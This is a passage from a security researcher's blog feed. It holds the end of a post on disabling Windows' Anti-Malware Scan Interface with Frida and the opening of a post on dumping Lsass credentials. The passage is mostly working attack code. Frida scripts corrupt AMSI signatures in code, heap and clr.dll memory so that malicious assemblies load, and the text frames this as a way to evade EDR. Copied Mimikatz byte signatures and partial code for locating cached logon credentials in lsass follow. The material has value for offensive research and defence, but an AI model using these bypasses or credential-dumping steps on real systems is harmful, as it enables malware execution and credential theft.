		<span class="nx">buf</span><span class="p">.</span><span class="nx">writeByteArray</span><span class="p">([</span><span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">]);</span>
	<span class="p">},</span>
	<span class="na">onLeave</span><span class="p">:</span> <span class="kd">function</span><span class="p">(</span><span class="nx">retval</span><span class="p">)</span> <span class="p">{</span>
		<span class="c1">//Verify the E_INVALIDARG error was thrown by checking the function's return value.</span>
		<span class="k">if</span> <span class="p">(</span><span class="nx">retval</span> <span class="o">==</span> <span class="nx">E_INVALIDARG</span><span class="p">)</span> <span class="p">{</span>
			<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">AmsiOpenSession() returned E_INVALIDARG; AMSI should now be disabled.</span><span class="dl">"</span><span class="p">);</span>
			<span class="nx">Interceptor</span><span class="p">.</span><span class="nx">detachAll</span><span class="p">();</span>
		<span class="p">}</span>
	<span class="p">}</span>
<span class="p">});</span>
</code></pre></div></div>

<p>Each of these scripts takes a different approach towards the same result: the <em>AmsiContext</em> argument is somehow corrupted, causing <em>AmsiOpenSession()</em> to return E_INVALIDARG and set the <em>amsiInitFailed</em> variable to true. In each case, AMSI is then disabled for the lifetime of the process. Note that we used <em>AmsiOpenSession()</em> for a change of pace, but the control flow of <em>AmsiScanBuffer()</em> is very similar (almost the exact same checks are performed), so it would be easily applicable to that function with the same outcome.</p>

<h2 id="hooking-is-not-patching">Hooking is not Patching</h2>

<p>Coming up with a bunch of different ways to hook AMSI functions and break them with Frida is pretty cool, but it’s not exactly portable. Any AMSI bypass that requires you to attach to a process with Frida is not exactly resilient. Ideally, we want something like the classic <em>AmsiScanBuffer()</em> patch we discussed earlier - a hassle-free way to corrupt AMSI in memory directly, without needing to hook into functions to do so.</p>

<p>The classic <em>AmsiScanBuffer()</em> patch works by simply short-circuiting the function and returning zero immediately, but we’ve seen that there’s a wide variety of ways to make the function return E_INVALIDARG and disable AMSI that way. The easiest thing to break in the form of a code patch is the check which compares the first four bytes of <em>AmsiContext</em> to a hardcoded signature value of “AMSI”.</p>

<p>All we need to do is find the hardcoded signature in the code and change it to something else. Whenever <em>AmsiScanBuffer()</em> checks for the signature, it will be using the wrong value as a baseline for the comparison - and will always return an error. We can use Frida’s memory scanning functionality to identify the exact sequence we’re interested in modifying, and then modify it:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">var</span> <span class="nx">amsi</span> <span class="o">=</span> <span class="nx">Process</span><span class="p">.</span><span class="nx">getModuleByName</span><span class="p">(</span><span class="dl">"</span><span class="s2">amsi.dll</span><span class="dl">"</span><span class="p">);</span>

<span class="kd">var</span> <span class="nx">amsiScanBuffer</span> <span class="o">=</span> <span class="nx">amsi</span><span class="p">.</span><span class="nx">getExportByName</span><span class="p">(</span><span class="dl">"</span><span class="s2">AmsiScanBuffer</span><span class="dl">"</span><span class="p">);</span>
<span class="kd">var</span> <span class="nx">amsiEnd</span> <span class="o">=</span> <span class="nx">amsi</span><span class="p">.</span><span class="nx">base</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="nx">amsi</span><span class="p">.</span><span class="nx">size</span><span class="p">);</span>

<span class="kd">var</span> <span class="nx">size</span> <span class="o">=</span> <span class="nx">amsiEnd</span><span class="p">.</span><span class="nx">sub</span><span class="p">(</span><span class="nx">amsiScanBuffer</span><span class="p">);</span>
<span class="kd">var</span> <span class="nx">sequence</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">41 4D 53 49</span><span class="dl">"</span><span class="p">;</span> <span class="c1">// 'AMSI'</span>

<span class="nx">Memory</span><span class="p">.</span><span class="nx">scan</span><span class="p">(</span><span class="nx">amsiScanBuffer</span><span class="p">,</span> <span class="nx">size</span><span class="p">.</span><span class="nx">toInt32</span><span class="p">(),</span> <span class="nx">sequence</span><span class="p">,</span> <span class="p">{</span>
	<span class="nx">onMatch</span><span class="p">(</span><span class="nx">address</span><span class="p">,</span> <span class="nx">len</span><span class="p">)</span> <span class="p">{</span>
		<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">Found 'AMSI' @ </span><span class="dl">"</span> <span class="o">+</span> <span class="nx">address</span><span class="p">);</span>
		<span class="kd">var</span> <span class="nx">oldProtect</span> <span class="o">=</span> <span class="nx">Process</span><span class="p">.</span><span class="nx">findRangeByAddress</span><span class="p">(</span><span class="nx">address</span><span class="p">)[</span><span class="dl">"</span><span class="s2">protection</span><span class="dl">"</span><span class="p">];</span>
		<span class="nx">Memory</span><span class="p">.</span><span class="nx">protect</span><span class="p">(</span><span class="nx">address</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="dl">"</span><span class="s2">rw-</span><span class="dl">"</span><span class="p">);</span>
		<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">Changed protections of target bytes</span><span class="dl">"</span><span class="p">);</span>
		<span class="nx">address</span><span class="p">.</span><span class="nx">writeByteArray</span><span class="p">([</span><span class="mh">0x31</span><span class="p">,</span> <span class="mh">0x33</span><span class="p">,</span> <span class="mh">0x33</span><span class="p">,</span> <span class="mh">0x37</span><span class="p">]);</span>
		<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">Patched with '1337'</span><span class="dl">"</span><span class="p">);</span>
		<span class="nx">Memory</span><span class="p">.</span><span class="nx">protect</span><span class="p">(</span><span class="nx">address</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="nx">oldProtect</span><span class="p">);</span>
		<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">Restored memory protections</span><span class="dl">"</span><span class="p">);</span>
	<span class="p">}</span>
<span class="p">});</span>
</code></pre></div></div>

<p>Or we could take a different approach entirely! We don’t have to patch the code - we can patch the data, instead. As long as the process has scanned something with AMSI at least once, there will be a global variable stored somewhere on the heap that contains an <em>AmsiContext</em> object for future use. If we can find it, we can corrupt it:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">var</span> <span class="nx">heap</span> <span class="o">=</span> <span class="nx">Process</span><span class="p">.</span><span class="nx">enumerateMallocRanges</span><span class="p">();</span>

<span class="k">for</span> <span class="p">(</span><span class="kd">var</span> <span class="nx">range</span> <span class="k">of</span> <span class="nx">heap</span><span class="p">)</span> <span class="p">{</span>
	<span class="nx">Memory</span><span class="p">.</span><span class="nx">scan</span><span class="p">(</span><span class="nx">range</span><span class="p">.</span><span class="nx">base</span><span class="p">,</span> <span class="nx">range</span><span class="p">.</span><span class="nx">size</span><span class="p">,</span> <span class="dl">"</span><span class="s2">41 4D 53 49</span><span class="dl">"</span><span class="p">,</span> <span class="p">{</span>
		<span class="nx">onMatch</span><span class="p">(</span><span class="nx">address</span><span class="p">,</span> <span class="nx">size</span><span class="p">)</span> <span class="p">{</span>
			<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">Found 'AMSI' @ </span><span class="dl">"</span> <span class="o">+</span> <span class="nx">address</span><span class="p">.</span><span class="nx">toString</span><span class="p">());</span>
			<span class="nx">address</span><span class="p">.</span><span class="nx">writeByteArray</span><span class="p">([</span><span class="mh">0x31</span><span class="p">,</span> <span class="mh">0x33</span><span class="p">,</span> <span class="mh">0x33</span><span class="p">,</span> <span class="mh">0x37</span><span class="p">]);</span>
			<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">Replaced with '1337'.</span><span class="dl">"</span><span class="p">)</span>
		<span class="p">}</span>
	<span class="p">});</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The bottom line here is that, with access to the process and control over its virtual address space, there is no end to the different ways we can find and corrupt the structures that AMSI requires to work properly.</p>

<h2 id="patching-amsi-in-the-clr">Patching AMSI in the CLR</h2>

<p>We’ve demonstrated pretty thoroughly by now that AMSI doesn’t stand a chance against an attacker that has control over the process they’re trying to bypass it in, but so far all of our examples have exclusively targeted the way Powershell commands or script blocks are submitted to AMSI. But are there other commonly used programs or features that subscribe to AMSI?</p>

<p>The anwer is yes, there are! In fact, <a href="https://redcanary.com/blog/amsi/">this helpful blog</a> documents quite a few Microsoft utilities that instrument AMSI by default. Powershell instruments AMSI from <em>System.Management.Automation.dll</em>, for example - which makes sense, because the <em>amsiInitFailed</em> field is part of “System.Management.Automation.AmsiUtils”. Let’s pick out another example from that list:</p>

<blockquote>
  <p>.NET in-memory assembly loads: instrumented in .NET 4.8+ in clr.dll and coreclr.dll</p>
</blockquote>

<p>That one seems interesting. Being able to use reflection to load a .NET assembly into Powershell is pretty useful from an offensive perspective. And sure enough, even if we use one of our AMSI bypasses from earlier, we’ll find that trying to load an assembly from memory gives us an error:</p>

<p><img src="/img/amsipatch_reflection.png" alt="a screenshot of an AMSI error even after bypassing AMSI" /></p>

<p>We’re not sure exactly where <em>clr.dll</em> (which is the Common Language Runtime that manages the .NET runtime environment) invokes and uses AMSI functionality, but it’s a pretty good bet that there’s a global variable somewhere that contains an <em>AmsiContext</em> object. If that is indeed the case, there will be a pointer to it somewhere in the memory ranges allocated to <em>clr.dll</em>.</p>

<p>A bruteforce approach to this problem begins to emerge:</p>

<ol>
  <li>Enumerate all of the readable and writable memory ranges allocated for <em>clr.dll</em>.</li>
  <li>Scan each of those memory ranges for valid pointers to the heap.</li>
  <li>Read 4 bytes from each pointer and check for the value “AMSI”.</li>
  <li>If you get a hit, corrupt the pointer with a different value.</li>
</ol>

<p>And here it is, implemented in Frida:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">addressIsPtr</span><span class="p">(</span><span class="nx">ptr</span><span class="p">)</span> <span class="p">{</span>
	<span class="kd">var</span> <span class="nx">range</span> <span class="o">=</span> <span class="nx">Process</span><span class="p">.</span><span class="nx">findRangeByAddress</span><span class="p">(</span><span class="nx">ptr</span><span class="p">);</span>
	<span class="k">if</span> <span class="p">(</span><span class="nx">range</span> <span class="o">!=</span> <span class="kc">null</span> <span class="o">&amp;&amp;</span> <span class="nx">range</span><span class="p">.</span><span class="nx">protection</span><span class="p">.</span><span class="nx">includes</span><span class="p">(</span><span class="dl">"</span><span class="s2">r</span><span class="dl">"</span><span class="p">))</span> <span class="p">{</span>
		<span class="k">return</span> <span class="kc">true</span><span class="p">;</span>
	<span class="p">}</span>
	<span class="k">return</span> <span class="kc">false</span><span class="p">;</span>
<span class="p">}</span>

<span class="kd">function</span> <span class="nx">scanForPointers</span><span class="p">(</span><span class="nx">ptr</span><span class="p">,</span> <span class="nx">size</span><span class="p">)</span> <span class="p">{</span>
	<span class="kd">var</span> <span class="nx">output</span> <span class="o">=</span> <span class="p">[]</span>
	<span class="k">for</span> <span class="p">(</span><span class="kd">var</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="nx">size</span><span class="p">;</span> <span class="nx">i</span> <span class="o">+=</span> <span class="nx">Process</span><span class="p">.</span><span class="nx">pointerSize</span><span class="p">)</span> <span class="p">{</span>
		<span class="kd">var</span> <span class="nx">currentPos</span> <span class="o">=</span> <span class="nx">ptr</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="nx">i</span><span class="p">);</span>
		<span class="kd">var</span> <span class="nx">currentPtr</span> <span class="o">=</span> <span class="nx">currentPos</span><span class="p">.</span><span class="nx">readPointer</span><span class="p">();</span>
		<span class="k">if</span> <span class="p">(</span><span class="nx">addressIsPtr</span><span class="p">(</span><span class="nx">currentPtr</span><span class="p">))</span> <span class="p">{</span>
			<span class="nx">output</span><span class="p">.</span><span class="nx">push</span><span class="p">(</span><span class="nx">currentPtr</span><span class="p">);</span>
		<span class="p">}</span>
	<span class="p">}</span>
	<span class="k">return</span> <span class="nx">output</span><span class="p">;</span>
<span class="p">}</span>


<span class="kd">var</span> <span class="nx">clr</span> <span class="o">=</span> <span class="nx">Process</span><span class="p">.</span><span class="nx">getModuleByName</span><span class="p">(</span><span class="dl">"</span><span class="s2">clr.dll</span><span class="dl">"</span><span class="p">);</span>
<span class="kd">var</span> <span class="nx">ranges</span> <span class="o">=</span> <span class="nx">clr</span><span class="p">.</span><span class="nx">enumerateRanges</span><span class="p">(</span><span class="dl">"</span><span class="s2">rw-</span><span class="dl">"</span><span class="p">);</span>

<span class="kd">var</span> <span class="nx">pointers</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">for</span> <span class="p">(</span><span class="kd">var</span> <span class="nx">r</span> <span class="k">of</span> <span class="nx">ranges</span><span class="p">)</span> <span class="p">{</span>
	<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">Scanning clr.dll memory range starting @ </span><span class="dl">"</span> <span class="o">+</span> <span class="nx">r</span><span class="p">.</span><span class="nx">base</span><span class="p">);</span>
	<span class="kd">var</span> <span class="nx">newPointers</span> <span class="o">=</span> <span class="nx">scanForPointers</span><span class="p">(</span><span class="nx">r</span><span class="p">.</span><span class="nx">base</span><span class="p">,</span> <span class="nx">r</span><span class="p">.</span><span class="nx">size</span><span class="p">);</span>
	<span class="nx">pointers</span><span class="p">.</span><span class="nx">push</span><span class="p">(...</span><span class="nx">newPointers</span><span class="p">);</span>
<span class="p">}</span>
<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">Identified </span><span class="dl">"</span> <span class="o">+</span> <span class="nx">pointers</span><span class="p">.</span><span class="nx">length</span> <span class="o">+</span> <span class="dl">"</span><span class="s2"> valid pointers.</span><span class="dl">"</span><span class="p">);</span>

<span class="k">for</span> <span class="p">(</span><span class="kd">var</span> <span class="nx">p</span> <span class="k">of</span> <span class="nx">pointers</span><span class="p">)</span> <span class="p">{</span>
	<span class="kd">var</span> <span class="nx">signature</span> <span class="o">=</span> <span class="nx">p</span><span class="p">.</span><span class="nx">readCString</span><span class="p">(</span><span class="mi">4</span><span class="p">);</span>
	<span class="k">if</span> <span class="p">(</span><span class="nx">signature</span> <span class="o">===</span> <span class="dl">"</span><span class="s2">AMSI</span><span class="dl">"</span><span class="p">)</span> <span class="p">{</span>
		<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">Found 'AMSI' signature @ </span><span class="dl">"</span> <span class="o">+</span> <span class="nx">p</span><span class="p">.</span><span class="nx">toString</span><span class="p">());</span>
		<span class="nx">p</span><span class="p">.</span><span class="nx">writeByteArray</span><span class="p">([</span><span class="mh">0x31</span><span class="p">,</span> <span class="mh">0x33</span><span class="p">,</span> <span class="mh">0x33</span><span class="p">,</span> <span class="mh">0x37</span><span class="p">]);</span>
		<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">Replaced with '1337'.</span><span class="dl">"</span><span class="p">)</span>
	<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>If we run this script against our Powershell process once again, we’ll see that even reflection is now exempt from being stopped by AMSI:</p>

<p><img src="/img/amsipatch_reflection_during.png" alt="a screenshot of an AMSI patcher that works on the CLR" />
<img src="/img/amsipatch_reflection_after.png" alt="a screenshot of a patched powershell allowing malicious assemblies to load" /></p>

<p>The heap scanning example we used previously would probably work as well - as long as you have some understanding of which module is intrumenting AMSI and where they keep their variables, you have a pretty good shot at bypassing it.</p>

<h2 id="conclusion">Conclusion</h2>

<p>We’ve established that AMSI is more like a speed bump than a roadblock for any attacker who controls the process they’re attacking. On that note, it’s worth pointing out that Frida was not running as a local admin in any of the examples given in this article.</p>

<p>I don’t think that’s a particularly new conclusion to draw, but exploring the process (no pun intended) gave me a really good understanding of all the dials and levers you can tweak to break AMSI in different and interesting ways. Even if the AMSI bypass you get off the shelf works just fine, I think there’s something to be said for understanding the process well enough that you can iterate on it and create your own versions of tools and techniques that don’t appear in any vendor’s signature database.</p>

<p>For me, the main takeaway is that getting really comfortable with reversing and debugging tools is the best way to remain a step ahead of EDR. Having access to cross-platform tools like Frida and Radare2 makes it really easy to inspect and play with running processes, and it makes getting to that level of comfort a whole lot easier. I don’t know if I could have made so much progress so quickly without them (the whole journey took about a week).</p>]]></content><author><name>Callum Murphy-Hale</name></author><summary type="html"><![CDATA[Let's use Frida to explore all the different ways we can patch or break the Anti-Malware Scan Interface.]]></summary></entry><entry><title type="html">Dumping Lsass with… Frida? (Part 2)</title><link href="https://please.donothack.us/blogs/mimikatz-frida-part-2" rel="alternate" type="text/html" title="Dumping Lsass with… Frida? (Part 2)" /><published>2022-10-28T00:00:00+00:00</published><updated>2022-10-28T00:00:00+00:00</updated><id>https://please.donothack.us/blogs/mimikatz-frida-part-2</id><content type="html" xml:base="https://please.donothack.us/blogs/mimikatz-frida-part-2"><![CDATA[<h1 id="dumping-lsass-with-frida-part-2">Dumping Lsass with… Frida? (Part 2)</h1>

<p><a href="/blogs/mimikatz-frida-part-1">In the first chapter of this series</a>, we stuck with Frida’s core functionality - using its Interceptor module to hook and tamper with functions from <em>lsass.exe</em> and retrieve sensitive data passed to them. Our true goal, however, was to replicate the functionality of Mimikatz. To that end, let’s have a look at how Mimikatz finds and decrypts credentials that have been cached in memory.</p>

<p>I found the following blogs very useful when I was trying to figure all this out:</p>

<ul>
  <li><a href="https://blog.xpnsec.com/exploring-mimikatz-part-1/">XPN Infosec Blog - Exploring Mimikatz</a></li>
  <li><a href="https://www.matteomalvica.com/blog/2020/01/20/mimikatz-lsass-dump-windg-pykd/">Uncovering Mimikatz ‘msv’ and collecting credentials through PyKD</a></li>
</ul>

<p>If you are interested in exploring this subject further or get stuck on your own implementations, I recommend checking them out. And of course, none of this would be possible without the incredible tool that is Mimikatz, and the reverse engineering and development that gentilkiwi continues to do on it.</p>

<h2 id="needles-and-haystacks">Needles and Haystacks</h2>

<p>Previously, we used Frida’s Interceptor to attach to the <em>LsaApLogonUserEx2()</em> function and intercept credentials as they were passed to it. Having access to debugging functionality makes this an easy thing to do, but Mimikatz doesn’t have that luxury. It needs to directly scan the memory allocated to the Lsass process, and somehow identify exactly where those credentials are stored. Only then can it actually begin parsing and decrypting those structures in memory.</p>

<p>We can look at the <a href="https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa_utils.c">Mimikatz source code</a> to figure out exactly how it accomplishes this. The answer is simpler than you may think - a hardcoded set of signatures is used to scan memory for the regions we’re interested in. These signatures are obviously platform-dependent and are liable to change between different versions of Windows, so Mimikatz keeps several of them on-hand. Here is an example from the Mimikatz source:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#elif defined(_M_X64)
</span><span class="n">BYTE</span> <span class="n">PTRN_WIN5_LogonSessionList</span><span class="p">[]</span>	<span class="o">=</span> <span class="p">{</span><span class="mh">0x4c</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0xdf</span><span class="p">,</span> <span class="mh">0x49</span><span class="p">,</span> <span class="mh">0xc1</span><span class="p">,</span> <span class="mh">0xe3</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0xcb</span><span class="p">,</span> <span class="mh">0x4c</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">};</span>
<span class="n">BYTE</span> <span class="n">PTRN_WN60_LogonSessionList</span><span class="p">[]</span>	<span class="o">=</span> <span class="p">{</span><span class="mh">0x33</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0x45</span><span class="p">,</span> <span class="mh">0x85</span><span class="p">,</span> <span class="mh">0xc0</span><span class="p">,</span> <span class="mh">0x41</span><span class="p">,</span> <span class="mh">0x89</span><span class="p">,</span> <span class="mh">0x75</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x4c</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0xe3</span><span class="p">,</span> <span class="mh">0x0f</span><span class="p">,</span> <span class="mh">0x84</span><span class="p">};</span>
<span class="n">BYTE</span> <span class="n">PTRN_WN61_LogonSessionList</span><span class="p">[]</span>	<span class="o">=</span> <span class="p">{</span><span class="mh">0x33</span><span class="p">,</span> <span class="mh">0xf6</span><span class="p">,</span> <span class="mh">0x45</span><span class="p">,</span> <span class="mh">0x89</span><span class="p">,</span> <span class="mh">0x2f</span><span class="p">,</span> <span class="mh">0x4c</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0xf3</span><span class="p">,</span> <span class="mh">0x85</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0x0f</span><span class="p">,</span> <span class="mh">0x84</span><span class="p">};</span>
<span class="n">BYTE</span> <span class="n">PTRN_WN63_LogonSessionList</span><span class="p">[]</span>	<span class="o">=</span> <span class="p">{</span><span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0xde</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x8d</span><span class="p">,</span> <span class="mh">0x0c</span><span class="p">,</span> <span class="mh">0x5b</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0xc1</span><span class="p">,</span> <span class="mh">0xe1</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x8d</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">};</span>
<span class="n">BYTE</span> <span class="n">PTRN_WN6x_LogonSessionList</span><span class="p">[]</span>	<span class="o">=</span> <span class="p">{</span><span class="mh">0x33</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0x41</span><span class="p">,</span> <span class="mh">0x89</span><span class="p">,</span> <span class="mh">0x37</span><span class="p">,</span> <span class="mh">0x4c</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0xf3</span><span class="p">,</span> <span class="mh">0x45</span><span class="p">,</span> <span class="mh">0x85</span><span class="p">,</span> <span class="mh">0xc0</span><span class="p">,</span> <span class="mh">0x74</span><span class="p">};</span>
<span class="n">BYTE</span> <span class="n">PTRN_WN1703_LogonSessionList</span><span class="p">[]</span>	<span class="o">=</span> <span class="p">{</span><span class="mh">0x33</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0x45</span><span class="p">,</span> <span class="mh">0x89</span><span class="p">,</span> <span class="mh">0x37</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0xf3</span><span class="p">,</span> <span class="mh">0x45</span><span class="p">,</span> <span class="mh">0x85</span><span class="p">,</span> <span class="mh">0xc9</span><span class="p">,</span> <span class="mh">0x74</span><span class="p">};</span>
<span class="n">BYTE</span> <span class="n">PTRN_WN1803_LogonSessionList</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x33</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0x41</span><span class="p">,</span> <span class="mh">0x89</span><span class="p">,</span> <span class="mh">0x37</span><span class="p">,</span> <span class="mh">0x4c</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0xf3</span><span class="p">,</span> <span class="mh">0x45</span><span class="p">,</span> <span class="mh">0x85</span><span class="p">,</span> <span class="mh">0xc9</span><span class="p">,</span> <span class="mh">0x74</span><span class="p">};</span>
<span class="n">BYTE</span> <span class="n">PTRN_WN11_LogonSessionList</span><span class="p">[]</span>	<span class="o">=</span> <span class="p">{</span><span class="mh">0x45</span><span class="p">,</span> <span class="mh">0x89</span><span class="p">,</span> <span class="mh">0x34</span><span class="p">,</span> <span class="mh">0x24</span><span class="p">,</span> <span class="mh">0x4c</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0xf3</span><span class="p">,</span> <span class="mh">0x45</span><span class="p">,</span> <span class="mh">0x85</span><span class="p">,</span> <span class="mh">0xc0</span><span class="p">,</span> <span class="mh">0x74</span><span class="p">};</span>
</code></pre></div></div>

<p>We can use these precompiled signatures in our own code, although we could also deduce them ourselves with a little reverse engineering and a debugger such as IDA or WinDBG. We’ll cover exactly how these signatures were found in more detail later. For now, all we need is a way to scan memory for a specific sequence of bytes, which happily Frida provides for us:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">var</span> <span class="nx">lsasrv</span> <span class="o">=</span> <span class="nx">Process</span><span class="p">.</span><span class="nx">getModuleByName</span><span class="p">(</span><span class="dl">"</span><span class="s2">lsasrv.dll</span><span class="dl">"</span><span class="p">)</span>
<span class="kd">var</span> <span class="nx">sequence</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">33 ff 41 89 37 4c 8b f3 45 85 c9 74</span><span class="dl">"</span><span class="p">;</span> 

<span class="nx">Memory</span><span class="p">.</span><span class="nx">scan</span><span class="p">(</span><span class="nx">lsasrv</span><span class="p">.</span><span class="nx">base</span><span class="p">,</span> <span class="nx">lsasrv</span><span class="p">.</span><span class="nx">size</span><span class="p">,</span> <span class="nx">sequence</span><span class="p">,</span> <span class="p">{</span>
	<span class="nx">onMatch</span><span class="p">(</span><span class="nx">signature</span><span class="p">,</span> <span class="nx">size</span><span class="p">)</span> <span class="p">{</span>
		<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">Found a match at </span><span class="dl">"</span> <span class="o">+</span> <span class="nx">signature</span><span class="p">);</span>
	<span class="p">}</span>
<span class="p">});</span>
</code></pre></div></div>

<p>With that, we have a way to scan the memory space of <em>lsasrv.dll</em> for those specific sequences. Mimikatz uses these signatures to deduce the address of specific global variables in lsasrv that contain sensitive data, and that’s what we’re going to need to do as well.</p>

<h2 id="finding-logonsessionlist">Finding LogonSessionList</h2>

<p>The first global variable we’re interested in is <em>lsasrv!LogonSessionList</em>. As the name implies, this is a linked list where every element represents a single credential cached in memory. The way Mimikatz hunts for it in memory is clever; instead of trying to find the variable itself, it searches for an instruction in <em>lsasrv.dll</em> which <strong>dereferences</strong> the variable’s memory address. This instruction will look something like this:</p>

<pre><code class="language-asm">lea rcx, [rip + 0x118061] ; LogonSessionList
</code></pre>

<p>Note that the address given in the instruction above is not an absolute address, but a %rip-relative offset (0x118061) which is calculated at runtime. We’re scanning memory at runtime, though, so as long as we can find the offset, we can perform some simple pointer arithmetic to find the actual address of the variable.</p>

<p>This is where the signature comes in. The signatures used by Mimikatz were presumably originally generated by reverse engineering. To reproduce that, we could simply attach a debugger to <em>lsass.exe</em>, find instructions that dereference the variables we’re interested in, and find some sequence of bytes nearby to serve as your “signature”. For now, though, the signatures included in the Mimikatz source code are enough for us to proceed.</p>

<p>When we identify this signature in memory at a given address, we can add a certain offset to it and get to the instruction in question. The exact process looks like this:</p>

<ol>
  <li>Find the address where the signature appears.</li>
  <li>Add some predetermined offset to get to the LEA instruction which dereferences <em>LogonSessionList</em>.</li>
  <li>Read the %rip offset from the latter part of the instruction.</li>
  <li>Figure out what %rip will be just after our target instruction, then add the offset to get the true address of <em>LogonSessionList</em>.</li>
</ol>

<p>By following these four steps, it’s possible to write a function in Frida which, when provided with a pointer and an offset, will find the dereferenced address:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">findDereferencedAddress</span><span class="p">(</span><span class="nx">ptr</span><span class="p">,</span> <span class="nx">offset</span><span class="p">)</span> <span class="p">{</span>
	<span class="c1">// Given a pointer to some signature address and an offset, extract the target address from an instruction that dereferences it. </span>
	<span class="c1">// This is used to identify the location of global variables in lsass memory by finding instructions that dereference them. </span>
	
	<span class="c1">// Calculate the offset to the target instruction.</span>
	<span class="kd">var</span> <span class="nx">targetAddress</span> <span class="o">=</span> <span class="nx">ptr</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="nx">offset</span><span class="p">);</span>
	<span class="kd">var</span> <span class="nx">targetInstruction</span> <span class="o">=</span> <span class="nx">Instruction</span><span class="p">.</span><span class="nx">parse</span><span class="p">(</span><span class="nx">targetAddress</span><span class="p">);</span>
	
	<span class="c1">// Target instruction should look something like this</span>
	<span class="c1">// &lt;signature&gt; + &lt;offset&gt;: lea rcx, [rip + 0x118061]</span>
	<span class="c1">// We need to extract the %rip offset and resolve it into an actual address.</span>
	
	<span class="c1">// Sanity check for the lea instruction</span>
	<span class="k">if</span> <span class="p">(</span><span class="nx">targetInstruction</span><span class="p">.</span><span class="nx">toString</span><span class="p">().</span><span class="nx">includes</span><span class="p">(</span><span class="dl">"</span><span class="s2">lea </span><span class="dl">"</span><span class="p">))</span> <span class="p">{</span>
		<span class="c1">//Frida parses the instruction for us and separates out operands - no janky offset math required :)</span>
		<span class="kd">var</span> <span class="nx">operand</span> <span class="o">=</span> <span class="nx">targetInstruction</span><span class="p">.</span><span class="nx">operands</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span>
		<span class="c1">//Sanity check to make sure it's a RIP-relative offset, not some other register.</span>
